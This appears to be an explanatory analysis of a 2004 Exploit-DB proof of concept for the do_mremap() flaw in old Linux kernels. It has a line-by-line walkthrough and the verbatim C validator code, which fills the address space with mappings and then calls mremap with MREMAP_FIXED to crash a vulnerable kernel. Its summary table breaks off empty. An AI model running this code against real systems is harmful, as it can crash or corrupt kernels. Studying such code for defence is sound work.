Linux Kernel 2.2.25/2.4.24/2.6.2 - mremap() Validator Exploit Analysis

Linux Kernel 2.2.25/2.4.24/2.6.2 - mremap() Validator Exploit Analysis
What this paper is
This paper presents a proof-of-concept (PoC) exploit code for a vulnerability in the do_mremap() function within specific versions of the Linux kernel (2.2.25, 2.4.24, and 2.6.2). The provided code is explicitly stated as a validator and not a full exploit. Its purpose is to "test" the vulnerability, meaning it's designed to trigger the flawed behavior, not necessarily to achieve arbitrary code execution or privilege escalation. A separate exploit version is referenced.
Simple technical breakdown
The vulnerability lies in how the mremap() system call handles memory remapping operations. Specifically, it appears to be related to the validation of memory regions when MREMAP_FIXED is used. The PoC works by creating a large number of memory mappings, then attempting to remap one of these regions to a location that might overlap or interfere with another mapping in a way the kernel doesn't properly handle. This could lead to memory corruption or a crash.
Complete code and payload walkthrough
The provided C code is a self-contained program. Let's break it down:
Header Files:
#include <asm/unistd.h>: Provides access to system call numbers, specifically__NR_mremap.#include <sys/mman.h>: Defines memory management functions likemmapandmremap, and constants likePROT_READ,PROT_WRITE,MAP_PRIVATE,MAP_ANONYMOUS.#include <unistd.h>: Provides POSIX operating system API functions, including_syscall5.#include <stdio.h>: Standard input/output functions likeprintfandperror.#include <errno.h>: Defines error codes.
Macros:
#define MREMAP_MAYMOVE 1: A flag formremapindicating the memory region can be moved if necessary.#define MREMAP_FIXED 2: A flag formremapindicating the new address must be used.#define MREMAP_FLAGS MREMAP_MAYMOVE | MREMAP_FIXED: Combines theMAYMOVEandFIXEDflags. This is a crucial part of the exploit attempt, forcing a specific remapping location.#define __NR_real_mremap __NR_mremap: This is a common technique to define a wrapper for a system call, often used when the system call number might change or when dealing with different kernel versions. Here, it simply aliases__NR_mremap.#define VMA_SIZE 0x00003000: Defines a size of 12288 bytes (3 * 1024). This is the size of the memory regions that will be mapped and remapped.
Inline System Call Wrapper:
static inline _syscall5( void *, real_mremap, void *, old_address, size_t, old_size, size_t, new_size, unsigned long, flags, void *, new_address );- This macro, provided by
asm/unistd.h(or similar headers), defines a functionreal_mremapthat directly invokes themremapsystem call. _syscall5indicates it's a system call with 5 arguments.- Purpose: To provide a C-level interface to the
mremapsystem call, allowing the program to call it directly with specific arguments.
- This macro, provided by
main Function:
int main( void ): The entry point of the program.int i, ret;: Declares integer variablesifor loop counting andretfor system call return values.void *base0; void *base1;: Declares pointers to hold memory addresses.base0andbase1will store addresses of mapped memory regions.i = 0;: Initializes the loop counter.while( 1 )loop: This loop continuously attempts to map memory.i++;: Increments the counter.ret = (int) mmap( (void *)( i * (VMA_SIZE + 0x1000) ), VMA_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );- This is the core of the memory allocation phase. It calls
mmapto create new anonymous, private memory mappings. (void *)( i * (VMA_SIZE + 0x1000) ): This calculates the desired address for the new mapping. It creates mappings at increasing offsets, with a gap of0x1000(4096 bytes) between them. Theimultiplier ensures each subsequent mapping is placed further away.VMA_SIZE: The size of the mapping (12288 bytes).PROT_READ | PROT_WRITE: The memory mapping will be readable and writable.MAP_PRIVATE | MAP_ANONYMOUS: The mapping is private to this process and not backed by any file.0, 0: These are for file descriptor and offset, not used for anonymous mappings.- Behavior: If successful,
mmapreturns the starting address of the allocated memory. If it fails (e.g., due to insufficient memory or address space exhaustion), it returns -1.
- This is the core of the memory allocation phase. It calls
if( ret == -1 ) { perror( "mmap" ); break; }: Ifmmapfails, it prints an error message and exits the loop.base0 = base1;: The address of the previous mapping is stored inbase0.base1 = (void *) ret;: The address of the current mapping is stored inbase1.- Purpose of the loop: To fill up the process's virtual address space with many memory mappings, creating a complex memory layout. The
base0andbase1variables will eventually hold the addresses of two consecutive mappings created in the loop.
printf( "created ~%d VMAs\n", i );: Prints the approximate number of memory mappings created.base0 += 0x1000;: Adjustsbase0. Sincebase1holds the start of the last successfulmmapcall, andbase0holds the start of the second to last, this adjustment likely aims to alignbase0to point to the start of the next potential mapping region, or a specific offset within the memory region pointed to bybase0. Given the loop'si * (VMA_SIZE + 0x1000)calculation,base0points to the start of aVMA_SIZEregion, andbase1points to the start of the nextVMA_SIZEregion, with a 0x1000 gap between them. Adding 0x1000 tobase0makes it point to the start of that 0x1000 gap.base1 += 0x1000;: Adjustsbase1. This makesbase1point to an offset within the memory region that was just mapped (specifically, 4096 bytes from its start).printf( "now mremapping 0x%08X at 0x%08X\n", (int) base1, (int) base0 );: Prints the addresses involved in themremapcall. This shows the target address (base1) and the desired new address (base0).real_mremap( base1, 4096, 4096, MREMAP_FLAGS, base0 );- This is the crucial system call that attempts to trigger the vulnerability.
base1: The address of the memory region to be remapped.4096: The original size of the region (this is a key detail - it's smaller than theVMA_SIZEinitially mapped, which was 12288 bytes. This suggests the exploit might be targeting a specific part of the mapping or a smaller, fixed-size operation).4096: The new desired size of the region.MREMAP_FLAGS(MREMAP_MAYMOVE | MREMAP_FIXED): This tells the kernel to try and move the mapping if needed, but insists on placing it atbase0.base0: The desired new address for the remapped region.- Behavior: The kernel's
do_mremap()function is called. The combination ofMREMAP_FIXEDand potentially overlapping or adjacent memory regions, especially with the specific size and address calculations, is intended to expose a flaw in how the kernel validates these operations. This could lead to a crash (kernel panic) or memory corruption.
printf( "kernel may not be vulnerable\n" );: This message is printed if thereal_mremapcall completes without crashing. This implies the vulnerability was not triggered or the kernel version is not affected.return( 0 );: The program exits successfully if it doesn't crash.
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/*
* Proof-of-concept exploit code for do_mremap() #2
*
* EDB Note: This is NOT to be confused with CVE-2003-0985 // https://www.exploit-db.com/exploits/141/, which would be "do_mremap() #1".
* EDB Note: This will just "test" the vulnerability. A exploit version can be found here ~ https://www.exploit-db.com/exploits/160/
*
*
* Copyright (C) 2004 Christophe Devine
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2
#define MREMAP_FLAGS MREMAP_MAYMOVE | MREMAP_FIXED
#define __NR_real_mremap __NR_mremap
static inline _syscall5( void *, real_mremap, void *, old_address,
size_t, old_size, size_t, new_size,
unsigned long, flags, void *, new_address );
#define VMA_SIZE 0x00003000
int main( void )
{
int i, ret;
void *base0;
void *base1;
i = 0;
while( 1 )
{
i++;
ret = (int) mmap( (void *)( i * (VMA_SIZE + 0x1000) ),
VMA_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );
if( ret == -1 )
{
perror( "mmap" );
break;
}
base0 = base1;
base1 = (void *) ret;
}
printf( "created ~%d VMAs\n", i );
base0 += 0x1000;
base1 += 0x1000;
printf( "now mremapping 0x%08X at 0x%08X\n",
(int) base1, (int) base0 );
real_mremap( base1, 4096, 4096, MREMAP_FLAGS, base0 );
printf( "kernel may not be vulnerable\n" );
return( 0 );
}
// milw0rm.com [2004-02-18]